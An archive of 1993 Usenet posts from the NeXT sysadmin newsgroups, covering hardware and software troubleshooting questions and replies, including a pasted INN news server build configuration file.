We are looking to build a "mother of all data converters" for a biochem lab.
We are hoping to use a black next as the central server, but the lab will
likely have white nexts as well. Several data acquisition devices are
front-ended by old PC hardware, using high-density (DSDD) floppies as the
'transfer medium". The end users want us to construct an environment where
a bench test is transferred to the floppy, the floppy is taken to a 'single'
machine, and an app runs and pulls the data off the floppy and
converts/displays the results on the screen. The app then allows the user to
manipulate the data through some basic filters and data cleanup. The user then
saves the data in 'standard format' on the file server. The users demand for
one-stop transfer (floppy onto the black next) is a stumbling block, as we
cannot find a 5.25" floppy drive supported under NS.
I have a reason tech 486 running NS/I and it does not recognize the 5.25
drive (the 3.5 drive is fine).
A) is this a software limitation on NS/I?
B) is there 3rd party hardware (like the PLI SCSI 2.88 floppy)? that will
provide a SCSI 5.25" floppy for 'black' hardware.
I scanned the rags but found none.
(no. we cannot network these particular acquistion devices in any way. Those
that can be networked (ethernet, appletalk, serial/kermit) have been. 5.25"
floppies or nothing, is what the user wants.)
pre-emptive thanks to all who respond.
--
- Geoff
-----------------------------------------------------------------
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Research Computing Facility, Guggenheim 10 (507) 284-1805
Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: kramer@fragile.termfrost.org (Mike Andrews)
Subject: Logitech Bus Mouse on Black Hardware -- pinouts needed
Message-ID: <C8EyGw.25n@fragile.termfrost.org>
Organization: Terminal Frost, Springfield OH
Date: Thu, 10 Jun 1993 16:14:56 GMT
Someone a while back posted that a Logitech Bus Mouse would work on a non-ADB
black slab, given the proper plug and wiring...
I've got the plug, and now I need the pinouts...
Anyone who can mail them to kramer@fragile.termfrost.org (or, if that dosen't
work, kramer@wittenberg.edu) would have my undying gratitude ;-) My NeXT
mouse has a short that's getting worse...
Mike
--
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root@fragile.termfrost.org [NeXTmail OK]
kramer@wittenberg.edu (school) "This guy's pretty bizarre, Gus."
kramer@mik.uky.edu (hometown) -- Primus
From: Ivo.Welch@f236.n104.z1.FIDONET.ORG (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: NEWS SETUP
Message-ID: <3445.2C164E84@paranet.FIDONET.ORG>
Date: 8 Jun 93 20:51:00 GMT
Sender: ufgate@paranet.FIDONET.ORG (newsout1.26)
Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO
--
Ivo Welch - via ParaNet node 1:104/422
UUCP: !scicom!paranet!User_Name
INTERNET: Ivo.Welch@f236.n104.z1.FIDONET.ORG
From: ssietz@aramis.rutgers.edu (Steven Sietz)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: NeXTDimension Problem
Keywords: help
Message-ID: <Jun.10.13.32.56.1993.19254@aramis.rutgers.edu>
Date: 10 Jun 93 17:32:56 GMT
Followup-To: comp.sys.next.sysadmin
Organization: Rutgers Univ., New Brunswick, N.J.
Noticed this morning that our NextDimension Cube put the loginwindow on the
monochrome monitor and no longer recognized the color screen. I tried playing
around with the Preferences to make the loginwindow appear on the color but it
never saved the configuration.
I then "removed" the NextDimension from the Preferences section and now it
won't recognize it any more! Looking at the system error messages at bootup,
I noticed the following:
Jun 10 08:44:59 everglades mach: NeXTdimension board present in Slot 2
Jun 10 08:44:59 everglades WindowServer: Problem starting the NeXTdimension.psdrvr driver. Continuing.
Any suggestions?
-Steve Sietz-
--
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77A West Bluebell Lane | uucp: {backbone}!rutgers!cs.rutgers.edu!ssietz
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Newsgroups: comp.sys.next.sysadmin
From: tgall@rchland.vnet.ibm.com (Tom Gall)
Subject: Re: musings on a nsi install
Sender: news@rchland.ibm.com
Message-ID: <1993Jun10.174456.26598@rchland.ibm.com>
Date: Thu, 10 Jun 1993 17:44:56 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
References: <1v6j00$55@nwfocus.wa.com>
Organization: IBM Rochester
In article <1v6j00$55@nwfocus.wa.com>, maverick@halcyon.com (Thomas M. J. Fruchterman) writes:
|>
|> NeXTStep for Intel Installation Musings
|>
|> Here is a horror story of NSI installation on non-kosher
|> hardware. Here are the main points I seem to have learned
|>
|> 2. Stick to approved hardware.
Too true, but it would make more sence for those of us who are comfortable with assembling our own system to have a compatible and tested part list. IE, give me a list of motherboards that works. I'll take it from there.
|>
|> 3. Stick to SCSI Hard disks (rather than IDE).
Definately, Amen brother! Although SCSI on the PC doesn't seem to be implimented as well, SCSI just works. No fuss, no muss. IDE+SCSI seems to be a rocky marriage at best.
|> 5. Definitely have a completely accurate 101-keyboard. No right side
|> alt key on your keyboard -- too bad, you won't be able to take
|> advantage of point 6. I had numerous problems where non-standard
|> keyboards outputted complete garbage once I got to the step where one
|> types in ones language preference for installation.
I had trouble with a Gateway any key keyboard. At bootup, (during Installation) the program light would start to blink and the keyboard would become unuseable. There is a suspend sequence, to reset the keyboard without rebooting your machine, but that has never worked for me.
|>
|> 11. All in all, a frustrating experience. I am not too familiar with
|> PC hardware, having recently failed to install 386BSD, but managing to
|> get SLS/Linux to work. I have had a Next for 2 or 3 years and am
|> knowledgable about black hardware. I had a lot of parts lying around
|> and help from my more knowledgable office-mates. I got more sympathy
|> than help from the 900 line, but I don't blame them, you can't support
|> all the hardware in the world unless you're making a crummy OS. Really
|> folks, if you buy non-approved stuff, you are just trusting your luck
|> or you're a better hardware hacker than I am.
|>
I wouldn't say luck, rather it seems that if a person is going to buy hardware that isn't tested as running NeXTSTEP, get ahold of that dealer, walk/drive over to their store and ask if you can install it on that system. In the meantime, you have a wonderful opertunity to advertise NeXTSTEP for the OS it is and dispell the N(ice) T(ry) myths.
After it works, fire up Interface Builder and astound them.... (It helps to buy the machine too ;-)
|> 12. Still awaiting NSI ...
Me too, only so long a person can stare at that NeXTSTEP CD-ROM without a 486 to run it on......
|>
|> Tom Fruchterman
|> RAF Technology
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gypsy!servo@csn.org (home -- NeXTMail ok)
_________________________________________________________________________
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|o|Dept 45 N to be an earth shattering ka-boom!" |o|
|o|Performance Tools III -- The Martian ____ |o|
|o|006-2 / B209 /\___\ |o|
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Newsgroups: comp.sys.next.sysadmin
From: anderson (Ken Anderson)
Subject: Remote UUCP w/SLIP
Message-ID: <1993Jun10.155044.6264@biztech.com>
Keywords: UUCP
Sender: news@biztech.com
Organization: Biztech, Inc.
Date: Thu, 10 Jun 1993 15:50:44 GMT
I'm currently having a funky problem with NeXT sendmail. Maybe someone
has some insight into this problem.
I have a router in my office that I can SLIP into. For the convenience
from home, I have a resolv.conf file in /etc, so that I can type: 'ftp
sonata.cc.purdue.edu' from home. I'm using UUCP for my mail, so that I
don't dial out every time I send. The sendmail is correctly configured to
use the UUCP mailer instead of the DDN, and always uses UUCP as the
default. When I send mail from my home machine, sendmail must be doing
some DNS resolution even though it's supposed to just send the mail via
UUCP.
Even though sendmail forces the modem to dial, the mail is correctly
deposited in the uucp spool directory.
Any insight on this would be appreciated.
Ken Anderson
anderson@biztech.com
Stamford, CT
Newsgroups: comp.sys.next.sysadmin
From: gseng@ctp.com (Greg Sengle)
Subject: Windows printer driver for NeXT 400 dpi printeR?
Message-ID: <1993Jun10.163323.2346@ctp.com>
Sender: news@ctp.com
Organization: Cambridge Technology Partners
Date: Thu, 10 Jun 1993 16:33:23 GMT
Does there exist a printer driver for windows which correctly
generates postscript to send to the lpd on my next running 3.0?
I can preview the postscript that is generated by many of the existing
ones, however, it only recognizes the file as valid postscript after
I strip off some control character at the beginning of the first
line of postscript code generated by Windows. By the time the
file hits my NeXT, the first line looks like
/004%!PS-Adobe-3.0
%%Creator: Windows PSCRIPT
etc.
it should look like
%!PS.....
can someone point me in the right direction either for a good printer
driver to use in windows, or explain what is going on? I'm fairly
new to postscript.
I greatly appreciate any help anyone can give. Email me responses
I will summarize if interesting.
Thanks!!!
-greg
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/ /_ \ Cambridge Technology Partners email: gseng@ctp.com
\ / / 304 Vassar Street tel: (617) 374 8509
\/\/ Cambridge, MA 02139 fax: (617) 374-8300
Newsgroups: comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: INN configuration file request
Message-ID: <1993Jun10.110119.16990@mic.ucla.edu>
Organization: UCLA, Anderson Graduate School Of Management
Date: 10 Jun 93 11:01:19 PDT
If you have installed INN on your NeXT (preferably on OS 3.1, or at least
3.0), could you please mail me the configuration file?
Thanks.
/ivo welch
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Is anyone experiencing problems with spurious DMAinterrupts????
Date: 10 Jun 1993 19:52:14 GMT
Organization: University of Houston
Distribution: world
Message-ID: <1v83de$nss@menudo.uh.edu>
Hello,
In the past two days, my two servers have been brought down 4 times
because of the the following::
Jun 9 12:35:59 server1 mach: spurious DMA interrupt: state 0x1000000
channel 0x2000110
Jun 9 12:36:57 server1 last message repeated 3 times
Has anyone had this same type of problem? What could be causing the DMA
interrupts? I can't find a reference to them anywhere...
Now, these servers are extremely stable. The both average 60-80 days of
uptime between reboots. And when they went down, it was a total and
complete lock up. The only thing that could be done was to pull the plug..
Sheesh.... 30 minutes to fsck 5G of disks....
Any help is greatly appreciated. I will post a summary (if I get any
info)..
---
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: lorinr@altsys.com (Lorin Rivers III)
Subject: Re: I have 32MB RAM, NS/FIP will only see 16MB
Message-ID: <1993Jun10.183345.25903@altsys.com>
Organization: Altsys Corporation, Richardson, TX
References: <C7yzvy.88@news.otago.ac.nz>
Date: Thu, 10 Jun 1993 18:33:45 GMT
In article <C7yzvy.88@news.otago.ac.nz> ATHOMSON@otago.ac.nz writes:
>Hi there,
>We have a Compaq Deskpro 66M running NS/FIP Pre-release 1.
>We originally had 16MB of RAM in it and recently upgraded it to 32MB.
>The problem is that NeXTSTEP will still only see 16MB. Is this
>something specific to the pre release, or does it happen all the
>time?
>
>Any help would be appreciated as we need to demo a system in two
>weeks with our app that make the window server grow to about 26MB, so
>16 makes it swap like crazy!
>
>Many thanks
>Alastair
>
>--
>=====================================================================
> |
>Alastair Thomson, | Phone +64-3-479-8347
>University of Otago, | Fax +64-3-479-8529
>Department of Computer Science, | e-mail:
>P.O. Box 56 | alastair@piglet.otago.ac.nz
>Dunedin | or ATHOMSON@otago.ac.nz
>New Zealand | NeXTmail Welcome
>
> "God loved the world so much, that he gave us His Son, to die in
> our place, so that we may have eternal life"
> John 3:16, paraphrase.
>
>=====================================================================
I can't give you specifics, but it has to do with the linear frame
buffer. What you have to do is go into Configure.app and in the video
section, look for something having to do with the linear frame buffer.
If that doesn't work drop me a line and I'll find out from our other
NeXTWorld attendee what we did to fix it there (we had the same
problem). Apparently, Compaq does some wacky stuff with memory (I
don't have a clue. I'm blissfully ignorant WRT PC HW)
Good Luck!
--
Lorin Rivers Lorin_Rivers@altsys.com
Altsys Technical Support 214.680.2518
269 W. Renner Parkway NeXT Mail Expected
Richardson, Texas 75080 I said it, not my boss
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Is anyone experiencing problems with spurious DMAinterrupts????
Date: 10 Jun 1993 22:32:46 GMT
Organization: University of Maryland, College Park
Distribution: world
Message-ID: <1v8cqe$dls@ni.umd.edu>
References: <1v83de$nss@menudo.uh.edu>
In article <1v83de$nss@menudo.uh.edu> sears@uh.edu writes:
>
>Hello,
>
> In the past two days, my two servers have been brought down 4 times
>because of the the following::
>
>Jun 9 12:35:59 server1 mach: spurious DMA interrupt: state 0x1000000
>channel 0x2000110
>Jun 9 12:36:57 server1 last message repeated 3 times
>
>Has anyone had this same type of problem? What could be causing the DMA
>interrupts? I can't find a reference to them anywhere...
More than likely, you are experiencing excessive (or maybe just a
bunch) of ethernet collisions. Clearly, this state of affairs shouldn't
result in your system crashing or hanging.
Louis Mamakos
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: Monty Solomon <monty%roscom@think.com>
Subject: Printing faxes
Message-ID: <1993Jun10.194958.6325@proponent.com>
Followup-To: comp.sys.next.sysadmin
Sender: monty@proponent.com (Monty Solomon)
Organization: Proponent
Date: Thu, 10 Jun 1993 19:49:58 GMT
Is there any way to configure a NS 2.1 system so that any faxes that come in
are automatically printed?
Thanks.
--
# Monty Solomon / PO Box 2486 / Framingham, MA 01701-0405
# monty%roscom@think.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: mlbm@lanl.gov (Mark Martinez)
Subject: Why does the Mail app disappear
Message-ID: <1993Jun10.205442.18352@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Lab
Date: Thu, 10 Jun 1993 20:54:42 GMT
A couple of NeXTs at this site are experiencing Mail app problems.
Occasionally, when the deliver button is pressed, the app quits. Both NeXTs are
recently upgraded to 3.0. Other machines running 3.0 are behaving normally.
Has anyone else seen this?
thanks
mark martinez
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Need new Compaq QVision driver for QVision 1280/E
Message-ID: <C8HBzo.AD5@news.otago.ac.nz>
From: alastair@farli.otago.ac.nz (Alastair Thomson)
Date: Fri, 11 Jun 1993 23:02:12 GMT
Sender: usenet@news.otago.ac.nz (News stuff)
Organization: University of Otago
Hi there netters,
I have a problem, cos we are way down here in New Zealand, we wont
get the copies of NS/Intel we have ordered for a couple of weeks :-(.
We have a beta version, but the Compaq QVision driver will only talk
to the QVision 1024/E not the 1280/E. We need to do a demo using the
1280 before we can get the final release of NS/Intel.
Could someone possibly NeXTmail mme a copy of the new QVision.config?
While you are at it you could send the ATIUltraPro.config as well so
we can change the display refresh rate to something less painfull
than 60Hz.
Many thanks,
Alastair
=====================================================================
=
Alastair Thomson, | Phone +64-3-479-8347
Chief Programmer, | Fax +64-3-479-8529
The Black Albatross Project, | e-mail:
University of Otago, | alastair@farli.otago.ac.nz
Department of Computer Science, |
P.O. Box 56 | NeXTmail Welcome!
Dunedin |
New Zealand |
"God loved the world so much, that he gave us His Son, to die in
our place, so that we may have eternal life"
John 3:16, paraphrase.
=====================================================================
=
From: jimc@tau-ceti.isc-br.com (Jim Cathey)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can you make a dynamic symbolic link to $HOME?
Message-ID: <3586@tau-ceti.isc-br.com>
Date: 10 Jun 93 21:36:03 GMT
References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> <CEDMAN.93Jun8113534@capitalist.princeton.edu>
Distribution: usa
Organization: Olivetti North America, Spokane, WA
In article <CEDMAN.93Jun8113534@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes:
>So, yes, one could add this feature to zsh, but it wouldn't really be
>very useful. If it belongs anywhere it belongs in the kernel so that
>all user programs (including zsh) would automatically use it. Adding
>it should be a nice exercise for a budding kernel hacker.
It would be a horrible hack for a kernel. What about the poor bozo who
put his mortgage information into a file called $HOME (or whatever)?
There's a reason that system calls shouldn't try to get too smart, since
there's no way around them. Such hack-ey crap should be done at a layer
above, where it's possible to bypass the stuff. Look at the extra
system calls you need to get around symlinks when you need to. The
exact same would be needed here. Not to mention that the kernel can't
automagically find the appropriate environment for a process. It may
be able to find the one that it originally gave the process, but it
wouldn't necessarily find the changed information, if the process (like
a shell) accepts a setenv operation. There's no standard place to keep
a changed environment, since a process is allowed to fork a child with a
different environment using exec?e(). No, the kernel would need to be
told about the appropriate environment beforehand (or simultaneously,
anyone for opene()? At this point, you might just as well change the
library binding and do all the work there (same caveats), and call it
something else (opene sounds good to me), which means it wouldn't work
everywhere you might want it to. Or call it open, but put it in a
special library you link with first. Either way, you don't get what
you want. At least with the hack buried only in the shell there's
probably sufficient quoting available to get around it.
Ugh. Give it up as a bad job. (Or get a PC, where bad jobs are the rule.)
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Newsgroups: comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: Build Disk Script
Message-ID: <1993Jun10.141846.20209@mic.ucla.edu>
Organization: UCLA, Anderson Graduate School Of Management
Date: 10 Jun 93 14:18:44 PDT
I am a bit nervous about running BuildDisk on a large harddisk,
because I am not sure which partition it wants to go to. I'd prefer
running the appropriate script with custom cp (copy) commands myself
to know what goes where. I also must make sure that the disk is
bootable (is there any necessary magic?).
How do I build a bootable NS volume by hand?
/ivo
Newsgroups: comp.sys.next.software,comp.sys.next.marketplace,comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
From: sieu@cory.Berkeley.EDU ( TECKCHENG SIEU)
Subject: Desktop 3.0 is available. Desktop is not a fraud!
Message-ID: <1993Jun11.020056.3543@pasteur.Berkeley.EDU>
Sender: sieu@cory.berkeley.edu
Organization: University of California, at Berkeley
Date: Fri, 11 Jun 1993 02:00:56 GMT
Firstly, I am sorry for taking up the bandwidth. Someone asked if
Desktop is a fraud. So, I think I have to post this article. By the
way, can someone teach me how to post announcements to
comp.sys.next.announce?
Desktop is not a fraud. And users usually received the copy# and
license# soon after they sent in the check. But a week before the
Expo, I have to admit that I was thrashing. I was porting the
software, negotiating with a company, preparing for the Expo and at
the same time, packing up my personal belongings.
I moved back to Singapore immediately after NeXTWorld Expo because I
have to start working in Singapore real soon. Everything came at the
same time!
Anyway, I managed to demo Desktop 3.0 (fat binaries with new goodies
added) during the Expo and all my belongings shipped back to
Singapore. Very soon, Desktop will be distributed in US and Europe
solely by a company. I believe the service and supported offered will
be excellent.
Meanwhile, if you really really cannot afford to wait, you can buy
Desktop 3.0 directly from me at the old price -- US$30 before the
company becomes the sole distributor in US and Europe. (I sincerely
urge you to buy Desktop from the company instead because it will give
better service and support though it may charge you a bit more).
The new pricing will be available from the company shortly.
I have not forgotten those who have bought copies of Desktop during
the NeXTWorld Expo and in the NeXT software porting lab while I was
porting Desktop. Please send me the hostid of your machine to get the
copy# and license#.
Lastly, I hope you could bear with me for the inconveniences caused while I
moved back to Singapore. I can be reached at:
Johnson Sieu
Blk 361, Bukit Batok St 31
#09-457
Singapore 2365
Singapore
fax/voice: 011-65-566-9195
(made possible by a fax/voice autoswitch)
Singapore mail address: sieu@mailhost.scs.com.sg
US mail address: sieu@cory.berkeley.edu
(will expire in September)
PS:
1. Please don't send checks to the P.O. Box 367 anymore. Thank you.
2. Bug report and suggestions welcomed. (NeXTmail ok but not preferred).
Newsgroups: comp.sys.next.sysadmin
From: gvh@metrosoft.com (Gordon Van Huizen)
Subject: Re: Sybase: Installing from NeXTSTEP 1.0 Disk
Message-ID: <1993Jun10.204317.314@metrosoft.com>
Sender: gvh@metrosoft.com
Organization: Metrosoft
References: <1993Jun9.210617.5157@dvorak.amd.com>
Date: Thu, 10 Jun 1993 20:43:17 GMT
In article <1993Jun9.210617.5157@dvorak.amd.com> herrick@amd.com
(charles) writes:
> If you bought an upgrade from 1.0 to 2.X, you were
> automatically entitled to an upgrade of the Sybase,
> Mathematica and Lisp packages to versions that were
> compatible with NeXTSTEP 2.X, i.e. the packages were
> free, but you had to request them.
>
> I honestly can not remember if the upgrades had a time
> limit attached, but I bet 800-848-6398 would know.
I'm guessing that that time limit has long since expired.
I sent in the request card well over a year ago and never
received anything.
Gordon
--
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Metrosoft gvh@metrosoft.com [NeXTmail welcome]
"Our ship is coming in, it just isn't black." - MTD 2/93
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN configuration file request (config.data enclosed)
Date: 10 Jun 1993 23:36:26 +0100
Organization: me organized? That's a joke!
Message-ID: <1v8d1a$45n@steffi.demon.co.uk>
References: <1993Jun10.110119.16990@mic.ucla.edu>
iwelch@agsm.ucla.edu (Ivo Welch) wrote
>
>If you have installed INN on your NeXT (preferably on OS 3.1, or at least
>3.0), could you please mail me the configuration file?
>
>Thanks.
>
>/ivo welch
This is my INN configuration file for inn1.4 under NS3.0
## $Revision: 1.40 $
##
## InterNetNews configuration file.
## Note that if you leave a field blank, you must have the trailing tab!
##
##
## 1. MAKE CONFIG PARAMETERS
## Where the DBZ sources are, from C News. INN has a (maybe old) copy.
#### =()<DBZDIR @<DBZDIR>@>()=
DBZDIR ../dbz
## If you have a parallel make, set this to "&"
#### =()<P @<P>@>()=
P
## C pre-processor flags
#### =()<DEFS @<DEFS>@>()=
DEFS -DNeXT -I../include
## C compiler
#### =()<CC @<CC>@>()=
CC cc
## Does your compiler properly do "char const *"? Pick DO DONT or DUNNO
#### =()<USE_CHAR_CONST @<USE_CHAR_CONST>@>()=
USE_CHAR_CONST DO
## C compiler flags
#### =()<CFLAGS @<CFLAGS>@>()=
CFLAGS -pipe -fstrength-reduce $(DEFS) -g
## C compiler flags to use when compiling dbz
#### =()<DBZCFLAGS @<DBZCFLAGS>@>()=
DBZCFLAGS $(CFLAGS)
## What flags to use if profiling; -p or -pg, e.g.
#### =()<PROF @<PROF>@>()=
PROF -pg
## Flags for the "cc -o" line; e.g., -Bstatic on SunOS4.x while debugging.
#### =()<LDFLAGS @<LDFLAGS>@>()=
LDFLAGS -g
## If you use the standard NNTP way of connecting, where is the library?
#### =()<NNTPLIB @<NNTPLIB>@>()=
NNTPLIB
## If you need to link in other libraries, add them here
#### =()<LIBS @<LIBS>@>()=
LIBS
## How to make a lint library; pick BSD, SYSV, or NONE.
#### =()<LINTLIBSTYLE @<LINTLIBSTYLE>@>()=
LINTLIBSTYLE NONE
## Flags for lint. AIX wants "-wkD"; it and others don't want "-z".
#### =()<LINTFLAGS @<LINTFLAGS>@>()=
LINTFLAGS -b -h -z $(DEFS)
## Some lints insist on putting out the filename and other crap.
## Possible values:
## LINTFILTER | sed -n -f ../sedf.aix
## LINTFILTER | sed -n -f ../sedf.osx
## LINTFILTER | sed -n -f ../sedf.sun
## LINTFILTER | sed -n -f ../sedf.sysv
## LINTFILTER
#### =()<LINTFILTER @<LINTFILTER>@>()=
LINTFILTER | sed -n -f ../sedf.sun
## How to install manpages; pick SOURCE, NROFF-PACK, NROFF-PACK-SCO, or NONE.
#### =()<MANPAGESTYLE @<MANPAGESTYLE>@>()=
MANPAGESTYLE SOURCE
## Where various manpages should go
#### =()<MAN1 @<MAN1>@>()=
MAN1 /usr/local/man/man1
#### =()<MAN3 @<MAN3>@>()=
MAN3 /usr/local/man/man3
#### =()<MAN5 @<MAN5>@>()=
MAN5 /usr/local/man/man5
#### =()<MAN8 @<MAN8>@>()=
MAN8 /usr/local/man/man8
## Ranlib command. Use echo if you don't need ranlib.
#### =()<RANLIB @<RANLIB>@>()=
RANLIB ranlib
## YACC (yet another config control?)
#### =()<YACC @<YACC>@>()=
YACC yacc
## Ctags command. Use echo if you don't have ctags.
#### =()<CTAGS @<CTAGS>@>()=
CTAGS ctags -t -w
##
## 2. LOGGING LEVELS
## Facility innd should log under.
#### =()<LOG_INN_SERVER @<LOG_INN_SERVER>@>()=
LOG_INN_SERVER LOG_LOCAL6
## Facility all other programs should log under.
#### =()<LOG_INN_PROG @<LOG_INN_PROG>@>()=
LOG_INN_PROG LOG_LOCAL6
## Flags to use in opening the logs; some programs add LOG_PID.
#### =()<L_OPENLOG_FLAGS @<L_OPENLOG_FLAGS>@>()=
L_OPENLOG_FLAGS (LOG_CONS | LOG_NDELAY)
## Log a fatal error; program is about to exit.
#### =()<L_FATAL @<L_FATAL>@>()=
L_FATAL LOG_CRIT
## Log an error that might mean one or more articles get lost.
#### =()<L_ERROR @<L_ERROR>@>()=
L_ERROR LOG_ERR
## Informational notice, usually not worth caring about.
#### =()<L_NOTICE @<L_NOTICE>@>()=
L_NOTICE LOG_WARNING
## A protocol trace.
#### =()<L_TRACE @<L_TRACE>@>()=
L_TRACE LOG_DEBUG
## All incoming control commands (ctlinnd, etc).
#### =()<L_CC_CMD @<L_CC_CMD>@>()=
L_CC_CMD LOG_INFO
##
## 3. OWNERSHIPS AND FILE MODES
## Owner of articles and directories and _PATH_INNDDIR
#### =()<NEWSUSER @<NEWSUSER>@>()=
NEWSUSER news
## Group, for same purpose
#### =()<NEWSGROUP @<NEWSGROUP>@>()=
NEWSGROUP news
## Who gets email about control messages? (Usually same as NEWSUSER)
#### =()<NEWSMASTER @<NEWSMASTER>@>()=
NEWSMASTER usenet
## Who gets email on the Path line?
#### =()<PATHMASTER @<PATHMASTER>@>()=
PATHMASTER not-for-mail
## Umask to set.
#### =()<NEWSUMASK @<NEWSUMASK>@>()=
NEWSUMASK 02
## Mode that incoming articles are created under.
#### =()<ARTFILE_MODE @<ARTFILE_MODE>@>()=
ARTFILE_MODE 0664
## Mode that batch files are created under.
#### =()<BATCHFILE_MODE @<BATCHFILE_MODE>@>()=
BATCHFILE_MODE 0664
## Mode that directories are created under.
#### =()<GROUPDIR_MODE @<GROUPDIR_MODE>@>()=
GROUPDIR_MODE 0775
##
## 4. C LIBRARY DIFFERENCES
## Use stdargs, varargs, or neither? Pick VARARGS STDARGS or NONE.
## You need vfprintf and vfsprintf if not NONE.
#### =()<VAR_STYLE @<VAR_STYLE>@>()=
VAR_STYLE VARARGS
## If you don't have <string.h>, set this to "mystring.h"
#### =()<STR_HEADER @<STR_HEADER>@>()=
STR_HEADER <string.h>
## If you don't have <memory.h>, set this to "mymemory.h"
#### =()<MEM_HEADER @<MEM_HEADER>@>()=
MEM_HEADER <memory.h>
## What is a file offset? Usually long or off_t. *Must be long for now!*
#### =()<OFFSET_T @<OFFSET_T>@>()=
OFFSET_T long
## What is the type of an object size? Usually size_t or unsigned int.
#### =()<SIZE_T @<SIZE_T>@>()=
SIZE_T int
## What is the type of a passwd uid and gid, for use in chown(2)?
#### =()<UID_T @<UID_T>@>()=
UID_T int
#### =()<GID_T @<GID_T>@>()=
GID_T int
## Type of a pid, for use in kill(2).
#### =()<PID_T @<PID_T>@>()=
PID_T int
## Generic pointer, used by memcpy, malloc, etc. Usually char or void.
#### =()<POINTER @<POINTER>@>()=
POINTER char
## Worst-case alignment, in order to shut lint up
#### =()<ALIGNPTR @<ALIGNPTR>@>()=
ALIGNPTR int
## What should a signal handler return? Usually int or void.
#### =()<SIGHANDLER @<SIGHANDLER>@>()=
SIGHANDLER void
## Type of variables can be modified in a signal handler? sig_atomic_t
#### =()<SIGVAR @<SIGVAR>@>()=
SIGVAR int
## Function that returns no value, and a pointer to it. Pick int or void
#### =()<FUNCTYPE @<FUNCTYPE>@>()=
FUNCTYPE void
## Use BSD4.2 or Posix directory names? Pick DIRENT or DIRECT.
#### =()<DIR_STYLE @<DIR_STYLE>@>()=
DIR_STYLE DIRECT
## Use flock, lockf, or nothing to lock files?
## Pick FLOCK, LOCKF, FCNTL, or NONE
#### =()<LOCK_STYLE @<LOCK_STYLE>@>()=
LOCK_STYLE FLOCK
## Do you have <unistd.h>? Pick DO or DONT
#### =()<HAVE_UNISTD @<HAVE_UNISTD>@>()=
HAVE_UNISTD DONT
## Do you have setbuffer? Pick DO or DONT.
#### =()<HAVE_SETBUFFER @<HAVE_SETBUFFER>@>()=
HAVE_SETBUFFER DO
## Do you have gettimeofday? Pick DO or DONT.
#### =()<HAVE_GETTIMEOFDAY @<HAVE_GETTIMEOFDAY>@>()=
HAVE_GETTIMEOFDAY DO
## Do you have fchmod? Pick DO or DONT.
#### =()<HAVE_FCHMOD @<HAVE_FCHMOD>@>()=
HAVE_FCHMOD DO
## Do you have setsid()? Pick DO or DONT.
#### =()<HAVE_SETSID @<HAVE_SETSID>@>()=
HAVE_SETSID DONT
## Does your (struct tm) have a tm_gmtoff field? Pick DO or DONT.
#### =()<HAVE_TM_GMTOFF @<HAVE_TM_GMTOFF>@>()=
HAVE_TM_GMTOFF DO
## Does your (struct stat) have a st_blksize field? Pick DO or DONT.
#### =()<HAVE_ST_BLKSIZE @<HAVE_ST_BLKSIZE>@>()=
HAVE_ST_BLKSIZE DO
## Use waitpid instead of wait3? Pick DO or DONT.
#### =()<HAVE_WAITPID @<HAVE_WAITPID>@>()=
HAVE_WAITPID DONT
## Use "union wait" instead of int? Pick DO or DONT.
#### =()<USE_UNION_WAIT @<USE_UNION_WAIT>@>()=
USE_UNION_WAIT DO
## How to fork? Pick fork or vfork.
#### =()<FORK @<FORK>@>()=
FORK vfork
## Do you have <vfork.h>? Pick DO or DONT.
#### =()<HAVE_VFORK @<HAVE_VFORK>@>()=
HAVE_VFORK DO
## Do you have symbolic links? Pick DO or DONT.
#### =()<HAVE_SYMLINK @<HAVE_SYMLINK>@>()=
HAVE_SYMLINK DO
## Do you have Unix-domain sockets? Pick DO or DONT.
#### =()<HAVE_UNIX_DOMAIN @<HAVE_UNIX_DOMAIN>@>()=
HAVE_UNIX_DOMAIN DO
## Does your AF_UNIX bind use sizeof for the socket size? Pick DO or DONT.
#### =()<BIND_USE_SIZEOF @<BIND_USE_SIZEOF>@>()=
BIND_USE_SIZEOF DONT
## How should close-on-exec be done? Pick IOCTL or FCNTL.
#### =()<CLX_STYLE @<CLX_STYLE>@>()=
CLX_STYLE IOCTL
## How should non-blocking I/O be done? Pick IOCTL or FCNTL.
#### =()<NBIO_STYLE @<NBIO_STYLE>@>()=
NBIO_STYLE FCNTL
## How should resource-totalling be done? Pick RUSAGE or TIMES
#### =()<RES_STYLE @<RES_STYLE>@>()=
RES_STYLE RUSAGE
## How to get number of available descriptors?
## Pick GETDTAB, GETRLIMIT, SYSCONF, ULIMIT, or CONSTANT.
#### =()<FDCOUNT_STYLE @<FDCOUNT_STYLE>@>()=
FDCOUNT_STYLE GETDTAB
## If greater than -1, then use [gs]etrlimit to set that many descriptors.
## If -1, then no [gs]etrlimit calls are done.
#### =()<NOFILE_LIMIT @<NOFILE_LIMIT>@>()=
NOFILE_LIMIT -1
